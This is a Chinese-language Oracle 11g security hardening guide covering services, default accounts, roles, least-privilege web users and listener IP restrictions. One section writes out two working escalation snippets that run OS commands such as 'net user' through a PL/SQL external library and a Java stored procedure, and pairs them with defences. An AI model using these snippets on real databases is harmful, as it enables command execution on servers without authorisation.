Oracle安全配置
0x01 測試環境
作業系統:window server 2008 x64 oracle:oracle 11.2.0.1.0
0x02 oracle許可權介紹
- oracle一個例項就是一個資料庫,建立一個新的資料庫會產生一個新的例項,並且一個例項獨立執行一個程式。
- 一個使用者對應一個方案,當使用者新建一個資料物件(比如表)之後會在此方案下面。自己訪問可以直接訪問,其他使用者訪問需透過“方案名.物件名”的方式。
- 使用者預設擁有自己方案下面的資料物件的許可權,其他使用者無相應許可權。sys,system預設擁有所有方案的許可權。
- 當一個使用者登入oracle例項時,首先需要判斷使用者是有否登入許可權,如果沒有,直接不能登入,如果有,則登入成功。登入成功之後,會根據使用者擁有的許可權來決定能做的事情,在進行一項操作時,如果有許可權,則操作成功,如果沒有許可權,則操作失敗。
- oracle主要有兩個核心程式,一個是oracle的服務程式,一個是監聽程式,當外部連線oracle時,首先是訪問的監聽程式,由監聽程式根據你訪問的資料庫例項來轉發到相應的oracle例項程式處理。
0x03 oracle系統服務
在window server 2008中安裝的oracle 11g總共會有七個服務,這七個服務的含義分別為:
a. Oracle ORCL VSS Writer Service:
Oracle卷對映複製寫入服務,VSS(Volume Shadow Copy Service)能夠讓儲存基礎裝置(比如磁碟,陣列等)建立高保真的時間點映像,即對映複製(shadow copy)。它可以在多卷或者單個捲上建立對映複製,同時不會影響到系統的系統能。(非必須啟動)
b. OracleDBConsoleorcl:
Oracle資料庫控制檯服務,orcl是Oracle的例項標識,預設的例項為orcl。在執行Enterprise Manager(企業管理器OEM)的時候,需要啟動這個服務。(非必須啟動)
c. OracleJobSchedulerORCL:
Oracle作業排程(定時器)服務,ORCL是Oracle例項標識。(非必須啟動)
d. OracleMTSRecoveryService:
服務端控制。該服務允許資料庫充當一個微軟事務伺服器MTS、COM/COM+物件和分散式環境下的事務的資源管理器。(非必須啟動)
e. OracleOraDb11g_home1ClrAgent:
Oracle資料庫.NET擴充套件服務的一部分。 (非必須啟動)
f. OracleOraDb11g_home1TNSListener:
監聽器服務,服務只有在資料庫需要遠端訪問的時候才需要。(非必須啟動,但是供外部訪問則必須啟動)。
g. OracleServiceORCL:
資料庫服務(資料庫例項),是Oracle核心服務該服務,是資料庫啟動的基礎, 只有該服務啟動,Oracle資料庫才能正常啟動。(必須啟動)
那麼在開發的時候到底需要啟動哪些服務呢?
對新手來說,要是隻用Oracle自帶的sql*plus的話,只要啟動OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的話,OracleOraDb11g_home1TNSListener服務也要開啟。OracleDBConsoleorcl是進入基於web的EM必須開啟的,其餘服務很少用。
0x04 oracle預設賬戶
在oracle11g安裝後,會有很多系統預設賬號,除了4個外,其他的都處於鎖定狀態,如無特殊用途,請不要開啟。另外4個分別為:
SYS使用者 SYS,當建立一個資料庫時,SYS使用者將被預設建立並授予DBA角色,所有資料庫資料字典中的基本表和檢視都儲存在名為SYS的方案中,這些基本表和檢視對於Oracle資料庫的操作是非常重要的。為了維護資料字典的真實性,SYS方案中的表只能由系統來維護,他們不能被任何使用者或資料庫管理員修改,而且任何使用者不能在SYS方案中建立表。
SYSTEM使用者 SYSTEM,與SYS一樣,在建立Oracle資料庫時,SYSTEM使用者被預設建立並被授予DBA角色,用於建立顯示管理資訊的表或檢視,以及被各種Oracle資料庫應用和工具使用的內容表 或檢視。
DBSNMP使用者 DBSNMP是Oracle資料庫中用於智慧代理(Intelligent Agent)的使用者,用來監控和管理資料庫相關效能的使用者,如果停止該使用者,則無法提取相關的資料資訊。
SYSMAN使用者 SYSMAN是Oracle資料庫中用於EM管理的使用者,如果你不用該使用者,也可以刪除或者鎖定。
以上4個賬戶的密碼均為安裝時候設定的密碼,由於一般情況下,DBSNMP和SYSMAN使用者不會被使用而被遺漏,建議鎖定。
0x05 oracle許可權和角色
a.許可權
oracle許可權分為系統許可權和物件許可權,當剛剛建立使用者時,使用者沒有任何許可權,也不能執行任何操作。如果要執行某種特定的資料庫操作,則必須為其授予系統的許可權。如果使用者要訪問其他方案的物件,則必須為其授予物件的許可權。
系統許可權是指執行特定型別Sql命令的權利,它用於控制使用者可以執行的一個或是一組資料庫操作。比如當使用者具有create table許可權是,可以在其方案中建表,當使用者具有create any table許可權時,可以在任何方案中建表。Oracle提供了100多種系統許可權。
常見的系統許可權見下表:
create session | 連線資料庫 |
create view | 建立檢視 |
create procedure | 建立過程、函式、包 |
create cluster | 建簇 |
create table | 建立表 |
create public synonym | 建立同義詞 |
create trigger | 建立觸發器 |
常見的物件許可權見下表:
alter | 修改表結構 |
delete | 刪除資料 |
select | 查詢資料 |
insert | 新增資料 |
update | 修改資料 |
index | 在表上建立索引 |
references | 引用 |
execute | 執行 |
注:可以用all代替select, update, insert, alter, index, delete
b. 角色
oracle角色分為系統角色和自定義角色,自定義角色可以根據需要指定相應的許可權,系統角色主要介紹下面3個:
DBA: 擁有全部特權,是系統最高許可權,只有DBA才可以建立資料庫結構。
RESOURCE:擁有Resource許可權的使用者只可以建立實體,不可以建立資料庫結構。
CONNECT:擁有Connect許可權的使用者只可以登入,不可以建立實體和資料庫結構。
對於普通使用者:授予connect, resource角色。
對於DBA管理使用者:授予connect,resource, dba角色。
0x06 oracle如何建立網站連線使用者
方案一:
使用system新建一個使用者名稱,給予connect,resource 的角色
使用新建的使用者登入,然後建立需要的表
使用system登入,revoke新建使用者的connect,resource角色
使用system登入,grant新建使用者create session 許可權
使用system登入,給予新建使用者在USERS表空間的許可權
方案二:
使用system登入,建立網站需要的表
使用system登入,建立一個使用者名稱
使用system登入,grant新建使用者create session的系統許可權,然後根據網站的需要給予所建表的相應的物件許可權。
使用system登入,給予新建使用者在USERS表空間的許可權
網站訪問資料庫的時候使用“system.表名”的形式。
0x07 oracle安全配置方案
1. 限制訪問ip
方法一:
防火牆指定,windows中透過windows防火牆中指定監聽埠的訪問ip,linux中透過iptables指定監聽埠的訪問ip。
方法二:
windows中可透過ipsec指定監聽埠的訪問ip。
方法三:
可透過oracle的監聽器中指定可訪問的ip 在伺服器上的檔案$ORACLE_HOME/network/admin/sqlnet.ora中設定以下行:
tcp.validnode_checking = yes
允許訪問的ip
tcp.invited_nodes = (ip1,ip2…)
不允許訪問的ip
tcp.excluded_nodes=(ip1,ip2,……)
修改埠 可以修改監聽器的埠,減少掃描量
關閉不必要的服務 可以關閉不必要的服務來減少對外訪問,除了OracleServiceORCL和OracleOraDb11g_home1TNSListener是必須開啟的之外,其他的均可以關閉。特別是OracleDBConsoleorcl服務的開啟會啟用web版的EM,訪問埠在1158,如不需要請關閉此服務。
所有的使用者均需設定強密碼 在設定密碼的時候均需要設定8位以上的強密碼,且包含大小寫,數字,特殊字元。
關閉不需要的使用者 oracle預設會有4個不鎖定的賬戶,建議鎖定DBSNMP和SYSMAN。
特權賬戶的處理 限制資料庫超級管理員遠端登入。 a. 在spfile中設定 REMOTE_LOGIN_PASSWORDFILE=NONE b.在sqlnet.ora中設定 SQLNET.AUTHENTICATION_SERVICES=NONE 禁用SYSDBA角色的自動登入
開啟日誌 可以開啟日誌對資料庫進行審計,但是也會消耗資源,可根據實際情況操作。
網站使用的資料庫賬號許可權最小化 可以根據上面寫的網站連線資料庫賬戶推薦的方案建立。
合理使用資料庫程式賬戶 資料庫程式賬戶使用較低許可權賬戶,新建一個新使用者,新增資料目錄的寫許可權,如果配置之後跑不起來,可以退而求其次,給予整個資料庫目錄的完全控制許可權。
合理配置資料庫程式賬戶對磁碟的許可權 不要給予資料庫目錄以外的特殊許可權,最好是讀取許可權都不給,可以根據實際情況來安排,原則就是資料庫目錄給的許可權能保證正常執行,其他的目錄能不給就不給。
0x08 oracle提權及防禦點
1. 透過PL/SQL提權
create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll';
create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');
2. 使用java提權
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');
以上兩種方法如果使用sys均可以提權成功,而普通許可權使用者是無法完成上面的操作的。所以防禦源頭還是隻能對sys特權賬戶的管理,但是如果真的特權賬戶被駭客獲取,此時的方法也只有使用低許可權的資料庫程式賬戶,以及控制程式賬戶對磁碟的許可權,這樣操作能將駭客能夠操作的許可權降到最低。 至於先對低許可權的oracle賬戶提升為dba許可權,然後進行系統提權的操作本文不討論,也請大牛提供更好的方法。
0x09 oracle常見操作命令
1. 連線資料庫
conn [email protected] as sysdba;
2. 新建使用者
create user yonghuming identified by mima;
3. 給使用者授權
grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;
4. 取消授權
revoke connect , resource from yonghuming;
5. 刪除鎖定(解鎖)賬號
alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;
相關文章
- Oracle 資料庫安全許可權配置標準2021-02-20Oracle資料庫
- Hibernate配置Oracle2018-05-29Oracle
- [Oracle] -- 配置Oracle環境變數2020-12-11Oracle變數
- 11. Oracle for Linux安裝和配置—11.3. Oracle安裝和配置—11.3.3. Oracle net配置2020-03-17OracleLinux
- oracle安裝配置2018-04-10Oracle
- 寶付oracle配置2019-08-22Oracle
- oracle dataguard broker 配置2021-06-30Oracle
- Oracle Stream概述與配置2018-06-27Oracle
- 九、Oracle網路配置2018-06-18Oracle
- oracle手動配置互信2024-01-09Oracle
- 4.1.5 Oracle 重啟配置2020-03-29Oracle
- Oracle資料庫配置2024-10-17Oracle資料庫
- Oracle DG管理Broker配置2022-02-02Oracle
- Oracle 單機配置DataGuard2021-05-20Oracle
- Tomcat安全配置2020-08-19Tomcat
- Apache安全配置2020-08-19Apache
- Mysql安全配置2020-08-19MySql
- MongoDB安全配置2020-08-19MongoDB
- Rsync安全配置2020-08-19
- Memcache安全配置2020-08-19
- Git安全配置2018-04-02Git
- 使用ORACLE ASMFD配置ORACLE儲存標準化2022-04-15OracleASM
- 【BUILD_ORACLE】Oracle RAC配置ASM Filter Driver(ASMFD)(二)詳細配置步驟2022-10-24UIOracleASMFilter
- oracle RAC手動配置互信2024-03-01Oracle
- Oracle listener log配置與管理2020-01-21Oracle
- 4.2.1 關於配置Oracle Restart2020-04-02OracleREST
- Oracle 19c Broker配置2023-01-12Oracle
- IIS WebDAV安全配置2020-08-19Web
- Nginx安全配置研究2020-08-19Nginx
- Windows Server安全配置2024-05-25WindowsServer
- 11. Oracle for Linux安裝和配置—11.3. Oracle安裝和配置—11.3.1. Oracle軟體安裝2020-03-16OracleLinux
- 【大資料安全】ApacheKylin安全配置(Kerberos)2018-09-19大資料ApacheROS
- 配置Oracle DBlink連線MySQL庫2018-12-14OracleMySql
- PL/Plus本地連線oracle配置2018-05-05Oracle
- oracle配置開機自啟動2024-03-05Oracle
- 4.2.4 向Oracle Restart 配置新增元件2020-04-02OracleREST元件
- 配置ogg異構oracle到mysql2023-03-15OracleMySql
- ORACLE user profile配置/管理/維護2021-09-09Oracle